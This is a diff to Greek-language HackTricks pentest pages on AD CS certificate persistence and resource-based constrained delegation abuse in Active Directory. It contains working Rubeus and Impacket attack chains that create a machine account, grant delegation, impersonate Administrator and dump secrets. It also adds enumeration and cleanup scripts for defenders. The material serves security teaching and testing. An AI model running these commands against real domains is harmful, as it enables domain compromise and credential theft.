@ -111,20 +111,20 @@ certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
|
||||
```
|
||||
Η ανάκληση του πιστοποιητικού του πράκτορα ή των δικαιωμάτων του προτύπου είναι απαραίτητη για την απομάκρυνση αυτής της επιμονής.
|
||||
|
||||
## 2025 Ενίσχυση Ισχυρού Χαρτοφυλακίου Πιστοποιητικών: Επιπτώσεις στην Επιμονή
|
||||
## 2025 Ενίσχυση Χαρτογράφησης Ισχυρού Πιστοποιητικού: Επιπτώσεις στην Επιμονή
|
||||
|
||||
Η Microsoft KB5014754 εισήγαγε την Ενίσχυση Ισχυρού Χαρτοφυλακίου Πιστοποιητικών στους ελεγκτές τομέα. Από τις 11 Φεβρουαρίου 2025, οι DC προεπιλέγουν την Πλήρη Ενίσχυση, απορρίπτοντας αδύνατους/αμφίβολους χάρτες. Πρακτικές επιπτώσεις:
|
||||
Η Microsoft KB5014754 εισήγαγε την Ενίσχυση Χαρτογράφησης Ισχυρού Πιστοποιητικού στους ελεγκτές τομέα. Από τις 11 Φεβρουαρίου 2025, οι DC προεπιλέγουν την Πλήρη Ενίσχυση, απορρίπτοντας αδύναμες/αμφίβολες χαρτογραφήσεις. Πρακτικές επιπτώσεις:
|
||||
|
||||
- Πιστοποιητικά πριν το 2022 που δεν διαθέτουν την επέκταση χαρτοφυλακίου SID ενδέχεται να αποτύχουν σε έμμεσο χάρτη όταν οι DC είναι σε Πλήρη Ενίσχυση. Οι επιτιθέμενοι μπορούν να διατηρήσουν την πρόσβαση είτε ανανεώνοντας τα πιστοποιητικά μέσω AD CS (για να αποκτήσουν την επέκταση SID) είτε φυτεύοντας έναν ισχυρό ρητό χάρτη στο `altSecurityIdentities` (PERSIST4).
|
||||
- Οι ρητοί χάρτες που χρησιμοποιούν ισχυρές μορφές (Issuer+Serial, SKI, SHA1-PublicKey) συνεχίζουν να λειτουργούν. Οι αδύνατες μορφές (Issuer/Subject, Subject-only, RFC822) μπορούν να αποκλειστούν και θα πρέπει να αποφεύγονται για επιμονή.
|
||||
- Πιστοποιητικά πριν το 2022 που δεν διαθέτουν την επέκταση χαρτογράφησης SID ενδέχεται να αποτύχουν σε έμμεσες χαρτογραφήσεις όταν οι DC είναι σε Πλήρη Ενίσχυση. Οι επιτιθέμενοι μπορούν να διατηρήσουν την πρόσβαση είτε ανανεώνοντας τα πιστοποιητικά μέσω AD CS (για να αποκτήσουν την επέκταση SID) είτε φυτεύοντας μια ισχυρή ρητή χαρτογράφηση στο `altSecurityIdentities` (PERSIST4).
|
||||
- Οι ρητές χαρτογραφήσεις που χρησιμοποιούν ισχυρές μορφές (Issuer+Serial, SKI, SHA1-PublicKey) συνεχίζουν να λειτουργούν. Οι αδύναμες μορφές (Issuer/Subject, Subject-only, RFC822) μπορούν να αποκλειστούν και θα πρέπει να αποφεύγονται για επιμονή.
|
||||
|
||||
Οι διαχειριστές θα πρέπει να παρακολουθούν και να ειδοποιούν για:
|
||||
- Αλλαγές στο `altSecurityIdentities` και εκδόσεις/ανανεώσεις πιστοποιητικών Enrollment Agent και Χρήστη.
|
||||
- Αλλαγές στο `altSecurityIdentities` και εκδόσεις/ανανεώσεις πιστοποιητικών Enrollment Agent και User.
|
||||
- Καταγραφές έκδοσης CA για αιτήματα εκ μέρους και ασυνήθιστους κύκλους ανανέωσης.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- Microsoft. KB5014754: Αλλαγές στην πιστοποίηση βάσει πιστοποιητικών στους ελεγκτές τομέα Windows (χρονοδιάγραμμα επιβολής και ισχυροί χάρτες).
|
||||
- Microsoft. KB5014754: Αλλαγές στην πιστοποίηση βάσει πιστοποιητικού στους ελεγκτές τομέα Windows (χρονοδιάγραμμα επιβολής και ισχυρές χαρτογραφήσεις).
|
||||
https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy Wiki – Αναφορά Εντολών (`req -renew`, `auth`, `shadow`).
|
||||
https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
|
@ -9,28 +9,28 @@
|
||||
|
||||
Σε αυτή την περίπτωση, το περιορισμένο αντικείμενο θα έχει ένα χαρακτηριστικό που ονομάζεται _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ με το όνομα του χρήστη που μπορεί να παριστάνει οποιονδήποτε άλλο χρήστη εναντίον του.
|
||||
|
||||
Μια άλλη σημαντική διαφορά από αυτή την Constrained Delegation σε άλλες delegations είναι ότι οποιοσδήποτε χρήστης με **δικαιώματα εγγραφής σε έναν λογαριασμό μηχανής** (_GenericAll/GenericWrite/WriteDacl/WriteProperty κ.λπ.) μπορεί να ορίσει το **_msDS-AllowedToActOnBehalfOfOtherIdentity_** (Στις άλλες μορφές Delegation χρειάζεστε δικαιώματα διαχειριστή τομέα).
|
||||
Μια άλλη σημαντική διαφορά από αυτή την Constrained Delegation σε άλλες delegations είναι ότι οποιοσδήποτε χρήστης με **δικαιώματα εγγραφής σε έναν λογαριασμό μηχανής** (_GenericAll/GenericWrite/WriteDacl/WriteProperty κ.λπ.) μπορεί να ορίσει το **_msDS-AllowedToActOnBehalfOfOtherIdentity_** (Σε άλλες μορφές Delegation χρειάζεστε δικαιώματα διαχειριστή τομέα).
|
||||
|
||||
### New Concepts
|
||||
|
||||
Πίσω στην Constrained Delegation είχε αναφερθεί ότι η **`TrustedToAuthForDelegation`** σημαία μέσα στην τιμή _userAccountControl_ του χρήστη είναι απαραίτητη για να εκτελέσετε ένα **S4U2Self.** Αλλά αυτό δεν είναι εντελώς αλήθεια.\
|
||||
Η πραγματικότητα είναι ότι ακόμη και χωρίς αυτή την τιμή, μπορείτε να εκτελέσετε ένα **S4U2Self** εναντίον οποιουδήποτε χρήστη αν είστε μια **υπηρεσία** (έχετε ένα SPN) αλλά, αν έχετε **`TrustedToAuthForDelegation`** το επιστρεφόμενο TGS θα είναι **Forwardable** και αν **δεν έχετε** αυτή τη σημαία το επιστρεφόμενο TGS **δεν θα** είναι **Forwardable**.
|
||||
|
||||
Ωστόσο, αν το **TGS** που χρησιμοποιείται στο **S4U2Proxy** είναι **ΟΧΙ Forwardable** προσπαθώντας να εκμεταλλευτείτε μια **βασική Constrain Delegation** δεν **θα λειτουργήσει**. Αλλά αν προσπαθείτε να εκμεταλλευτείτε μια **Resource-Based constrain delegation, θα λειτουργήσει**.
|
||||
Ωστόσο, αν το **TGS** που χρησιμοποιείται στο **S4U2Proxy** είναι **NOT Forwardable** προσπαθώντας να εκμεταλλευτείτε μια **βασική Constrain Delegation** δεν **θα λειτουργήσει**. Αλλά αν προσπαθείτε να εκμεταλλευτείτε μια **Resource-Based constrain delegation, θα λειτουργήσει**.
|
||||
|
||||
### Attack structure
|
||||
|
||||
> Αν έχετε **δικαιώματα εγγραφής ισοδύναμα** σε έναν **λογαριασμό Υπολογιστή** μπορείτε να αποκτήσετε **προνομιακή πρόσβαση** σε αυτή τη μηχανή.
|
||||
|
||||
Ας υποθέσουμε ότι ο επιτιθέμενος έχει ήδη **δικαιώματα εγγραφής ισοδύναμα στον υπολογιστή θύμα**.
|
||||
Υποθέστε ότι ο επιτιθέμενος έχει ήδη **δικαιώματα εγγραφής ισοδύναμα στον υπολογιστή θύμα**.
|
||||
|
||||
1. Ο επιτιθέμενος **παραβιάζει** έναν λογαριασμό που έχει ένα **SPN** ή **δημιουργεί έναν** (“Υπηρεσία A”). Σημειώστε ότι **οποιοσδήποτε** _Διαχειριστής Χρήστης_ χωρίς καμία άλλη ειδική προνόμια μπορεί να **δημιουργήσει** μέχρι 10 αντικείμενα Υπολογιστή (**_MachineAccountQuota_**) και να τους ορίσει ένα **SPN**. Έτσι, ο επιτιθέμενος μπορεί απλά να δημιουργήσει ένα αντικείμενο Υπολογιστή και να ορίσει ένα SPN.
|
||||
2. Ο επιτιθέμενος **καταχράται το δικαίωμα ΕΓΓΡΑΦΗΣ** του στον υπολογιστή θύμα (ΥπηρεσίαB) για να ρυθμίσει **resource-based constrained delegation ώστε να επιτρέπει στην ΥπηρεσίαA να παριστάνει οποιονδήποτε χρήστη** εναντίον αυτού του υπολογιστή θύμα (ΥπηρεσίαB).
|
||||
3. Ο επιτιθέμενος χρησιμοποιεί το Rubeus για να εκτελέσει μια **πλήρη επίθεση S4U** (S4U2Self και S4U2Proxy) από την Υπηρεσία A στην Υπηρεσία B για έναν χρήστη **με προνομιακή πρόσβαση στην Υπηρεσία B**.
|
||||
1. S4U2Self (από τον λογαριασμό SPN που παραβιάστηκε/δημιουργήθηκε): Ζητήστε ένα **TGS του Διαχειριστή για μένα** (Όχι Forwardable).
|
||||
1. Ο επιτιθέμενος **παραβιάζει** έναν λογαριασμό που έχει ένα **SPN** ή **δημιουργεί έναν** (“Service A”). Σημειώστε ότι **οποιοσδήποτε** _Admin User_ χωρίς κανένα άλλο ειδικό προνόμιο μπορεί να **δημιουργήσει** μέχρι 10 αντικείμενα Υπολογιστή (**_MachineAccountQuota_**) και να τους ορίσει ένα **SPN**. Έτσι, ο επιτιθέμενος μπορεί απλά να δημιουργήσει ένα αντικείμενο Υπολογιστή και να ορίσει ένα SPN.
|
||||
2. Ο επιτιθέμενος **καταχράται το δικαίωμα ΕΓΓΡΑΦΗΣ** του στον υπολογιστή θύμα (ServiceB) για να ρυθμίσει **resource-based constrained delegation ώστε να επιτρέψει στο ServiceA να παριστάνει οποιονδήποτε χρήστη** εναντίον αυτού του υπολογιστή θύμα (ServiceB).
|
||||
3. Ο επιτιθέμενος χρησιμοποιεί το Rubeus για να εκτελέσει μια **πλήρη επίθεση S4U** (S4U2Self και S4U2Proxy) από το Service A στο Service B για έναν χρήστη **με προνομιακή πρόσβαση στο Service B**.
|
||||
1. S4U2Self (από τον λογαριασμό SPN που παραβιάστηκε/δημιουργήθηκε): Ζητήστε ένα **TGS του Διαχειριστή για μένα** (Not Forwardable).
|
||||
2. S4U2Proxy: Χρησιμοποιήστε το **όχι Forwardable TGS** του προηγούμενου βήματος για να ζητήσετε ένα **TGS** από τον **Διαχειριστή** προς τον **υπολογιστή θύμα**.
|
||||
3. Ακόμη και αν χρησιμοποιείτε ένα όχι Forwardable TGS, καθώς εκμεταλλεύεστε την Resource-based constrained delegation, θα λειτουργήσει.
|
||||
4. Ο επιτιθέμενος μπορεί να **περάσει το εισιτήριο** και να **παριστάνει** τον χρήστη για να αποκτήσει **πρόσβαση στην ΥπηρεσίαB θύμα**.
|
||||
4. Ο επιτιθέμενος μπορεί να **περάσει το εισιτήριο** και να **παριστάνει** τον χρήστη για να αποκτήσει **πρόσβαση στην υπηρεσία θύμα ServiceB**.
|
||||
|
||||
Για να ελέγξετε το _**MachineAccountQuota**_ του τομέα μπορείτε να χρησιμοποιήσετε:
|
||||
```bash
|
||||
@ -70,7 +70,7 @@ msds-allowedtoactonbehalfofotheridentity
|
||||
----------------------------------------
|
||||
{1, 0, 4, 128...}
|
||||
```
|
||||
### Εκτέλεση μιας πλήρους επίθεσης S4U
|
||||
### Εκτέλεση μιας πλήρους επίθεσης S4U (Windows/Rubeus)
|
||||
|
||||
Πρώτα απ' όλα, δημιουργήσαμε το νέο αντικείμενο Υπολογιστή με τον κωδικό πρόσβασης `123456`, οπότε χρειαζόμαστε το hash αυτού του κωδικού πρόσβασης:
|
||||
```bash
|
||||
@ -86,11 +86,35 @@ rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι οι χρήστες έχουν ένα χαρακτηριστικό που ονομάζεται "**Cannot be delegated**". Αν ένας χρήστης έχει αυτό το χαρακτηριστικό σε True, δεν θα μπορείτε να τον προσποιηθείτε. Αυτή η ιδιότητα μπορεί να φαίνεται μέσα στο bloodhound.
|
||||
> Σημειώστε ότι οι χρήστες έχουν ένα χαρακτηριστικό που ονομάζεται "**Cannot be delegated**". Εάν ένας χρήστης έχει αυτό το χαρακτηριστικό σε True, δεν θα μπορείτε να τον προσποιηθείτε. Αυτή η ιδιότητα μπορεί να προβληθεί μέσα από το bloodhound.
|
||||
|
||||
### Linux tooling: end-to-end RBCD with Impacket (2024+)
|
||||
|
||||
Εάν λειτουργείτε από Linux, μπορείτε να εκτελέσετε την πλήρη αλυσίδα RBCD χρησιμοποιώντας τα επίσημα εργαλεία Impacket:
|
||||
```bash
|
||||
# 1) Create attacker-controlled machine account (respects MachineAccountQuota)
|
||||
impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ss123' -dc-ip 192.168.56.10 'domain.local/jdoe:Summer2025!'
|
||||
|
||||
# 2) Grant RBCD on the target computer to FAKE01$
|
||||
# -action write appends/sets the security descriptor for msDS-AllowedToActOnBehalfOfOtherIdentity
|
||||
impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -dc-ip 192.168.56.10 -action write 'domain.local/jdoe:Summer2025!'
|
||||
|
||||
# 3) Request an impersonation ticket (S4U2Self+S4U2Proxy) for a privileged user against the victim service
|
||||
impacket-getST -spn cifs/victim.domain.local -impersonate Administrator -dc-ip 192.168.56.10 'domain.local/FAKE01$:P@ss123'
|
||||
|
||||
# 4) Use the ticket (ccache) against the target service
|
||||
export KRB5CCNAME=$(pwd)/Administrator.ccache
|
||||
# Example: dump local secrets via Kerberos (no NTLM)
|
||||
impacket-secretsdump -k -no-pass Administrator@victim.domain.local
|
||||
```
|
||||
Notes
|
||||
- Αν η υπογραφή LDAP/LDAPS είναι υποχρεωτική, χρησιμοποιήστε `impacket-rbcd -use-ldaps ...`.
|
||||
- Προτιμήστε τα κλειδιά AES; πολλοί σύγχρονοι τομείς περιορίζουν το RC4. Το Impacket και το Rubeus υποστηρίζουν και οι δύο ροές μόνο AES.
|
||||
- Το Impacket μπορεί να ξαναγράψει το `sname` ("AnySPN") για ορισμένα εργαλεία, αλλά αποκτήστε το σωστό SPN όποτε είναι δυνατόν (π.χ., CIFS/LDAP/HTTP/HOST/MSSQLSvc).
|
||||
|
||||
### Accessing
|
||||
|
||||
Η τελευταία γραμμή εντολών θα εκτελέσει την **πλήρη επίθεση S4U και θα εισάγει το TGS** από τον Administrator στον θύμα υπολογιστή στη **μνήμη**.\
|
||||
Η τελευταία γραμμή εντολών θα εκτελέσει την **πλήρη επίθεση S4U και θα εισάγει το TGS** από τον Administrator στον θύρα θύματος στη **μνήμη**.\
|
||||
Σε αυτό το παράδειγμα ζητήθηκε ένα TGS για την υπηρεσία **CIFS** από τον Administrator, οπότε θα μπορείτε να έχετε πρόσβαση στο **C$**:
|
||||
```bash
|
||||
ls \\victim.domain.local\C$
|
||||
@ -99,22 +123,79 @@ ls \\victim.domain.local\C$
|
||||
|
||||
Μάθετε για τα [**διαθέσιμα εισιτήρια υπηρεσιών εδώ**](silver-ticket.md#available-services).
|
||||
|
||||
## Σφάλματα Kerberos
|
||||
## Απαρίθμηση, έλεγχος και καθαρισμός
|
||||
|
||||
- **`KDC_ERR_ETYPE_NOTSUPP`**: Αυτό σημαίνει ότι το kerberos είναι ρυθμισμένο να μην χρησιμοποιεί DES ή RC4 και παρέχετε μόνο το hash RC4. Παρέχετε στο Rubeus τουλάχιστον το hash AES256 (ή απλά παρέχετε τα hashes rc4, aes128 και aes256). Παράδειγμα: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||
### Απαρίθμηση υπολογιστών με RBCD ρυθμισμένο
|
||||
|
||||
PowerShell (αποκωδικοποίηση του SD για την επίλυση SIDs):
|
||||
```powershell
|
||||
# List all computers with msDS-AllowedToActOnBehalfOfOtherIdentity set and resolve principals
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
|
||||
Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" } |
|
||||
ForEach-Object {
|
||||
$raw = $_."msDS-AllowedToActOnBehalfOfOtherIdentity"
|
||||
$sd = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $raw, 0
|
||||
$sd.DiscretionaryAcl | ForEach-Object {
|
||||
$sid = $_.SecurityIdentifier
|
||||
try { $name = $sid.Translate([System.Security.Principal.NTAccount]) } catch { $name = $sid.Value }
|
||||
[PSCustomObject]@{ Computer=$_.ObjectDN; Principal=$name; SID=$sid.Value; Rights=$_.AccessMask }
|
||||
}
|
||||
}
|
||||
```
|
||||
Impacket (διάβασε ή εκκαθάρισε με μία εντολή):
|
||||
```bash
|
||||
# Read who can delegate to VICTIM
|
||||
impacket-rbcd -delegate-to 'VICTIM$' -action read 'domain.local/jdoe:Summer2025!'
|
||||
```
|
||||
### Καθαρισμός / επαναφορά RBCD
|
||||
|
||||
- PowerShell (καθαρίστε την ιδιότητα):
|
||||
```powershell
|
||||
Set-ADComputer $targetComputer -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity'
|
||||
# Or using the friendly property
|
||||
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount $null
|
||||
```
|
||||
- Impacket:
|
||||
```bash
|
||||
# Remove a specific principal from the SD
|
||||
impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -action remove 'domain.local/jdoe:Summer2025!'
|
||||
# Or flush the whole list
|
||||
impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025!'
|
||||
```
|
||||
## Kerberos Errors
|
||||
|
||||
- **`KDC_ERR_ETYPE_NOTSUPP`**: Αυτό σημαίνει ότι το kerberos είναι ρυθμισμένο να μην χρησιμοποιεί DES ή RC4 και παρέχετε μόνο το hash RC4. Παρέχετε στον Rubeus τουλάχιστον το hash AES256 (ή απλά παρέχετε του τα hashes rc4, aes128 και aes256). Παράδειγμα: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||
- **`KRB_AP_ERR_SKEW`**: Αυτό σημαίνει ότι η ώρα του τρέχοντος υπολογιστή είναι διαφορετική από αυτήν του DC και το kerberos δεν λειτουργεί σωστά.
|
||||
- **`preauth_failed`**: Αυτό σημαίνει ότι το δεδομένο όνομα χρήστη + hashes δεν λειτουργούν για είσοδο. Ίσως να ξεχάσατε να βάλετε το "$" μέσα στο όνομα χρήστη κατά την παραγωγή των hashes (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
|
||||
- **`KDC_ERR_BADOPTION`**: Αυτό μπορεί να σημαίνει:
|
||||
- Ο χρήστης που προσπαθείτε να μιμηθείτε δεν μπορεί να έχει πρόσβαση στην επιθυμητή υπηρεσία (επειδή δεν μπορείτε να τον μιμηθείτε ή επειδή δεν έχει αρκετά δικαιώματα)
|
||||
- Η ζητούμενη υπηρεσία δεν υπάρχει (αν ζητήσετε ένα εισιτήριο για winrm αλλά το winrm δεν εκτελείται)
|
||||
- Ο ψεύτικος υπολογιστής που δημιουργήθηκε έχει χάσει τα δικαιώματά του πάνω στον ευάλωτο διακομιστή και πρέπει να τα επαναφέρετε.
|
||||
- Ο χρήστης που προσπαθείτε να μιμηθείτε δεν μπορεί να έχει πρόσβαση στην επιθυμητή υπηρεσία (επειδή δεν μπορείτε να τον μιμηθείτε ή επειδή δεν έχει αρκετά δικαιώματα)
|
||||
- Η ζητούμενη υπηρεσία δεν υπάρχει (αν ζητήσετε ένα εισιτήριο για winrm αλλά το winrm δεν εκτελείται)
|
||||
- Ο ψεύτικος υπολογιστής που δημιουργήθηκε έχει χάσει τα δικαιώματά του πάνω στον ευάλωτο διακομιστή και πρέπει να τα επιστρέψετε.
|
||||
- Καταχράστε κλασικό KCD; θυμηθείτε ότι το RBCD λειτουργεί με μη αναστρέψιμα S4U2Self εισιτήρια, ενώ το KCD απαιτεί αναστρέψιμα.
|
||||
|
||||
## Αναφορές
|
||||
## Notes, relays and alternatives
|
||||
|
||||
- Μπορείτε επίσης να γράψετε το RBCD SD πάνω από τις Υπηρεσίες Ιστού AD (ADWS) αν το LDAP είναι φιλτραρισμένο. Δείτε:
|
||||
|
||||
{{#ref}}
|
||||
adws-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
- Οι αλυσίδες αναμετάδοσης Kerberos συχνά καταλήγουν σε RBCD για να επιτύχουν το τοπικό SYSTEM σε ένα βήμα. Δείτε πρακτικά παραδείγματα από άκρο σε άκρο:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
|
||||
- [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
|
||||
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
|
||||
- [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
|
||||
- [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
|
||||
- Impacket rbcd.py (official): https://github.com/fortra/impacket/blob/master/examples/rbcd.py
|
||||
- Quick Linux cheatsheet with recent syntax: https://tldrbins.github.io/rbcd/
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user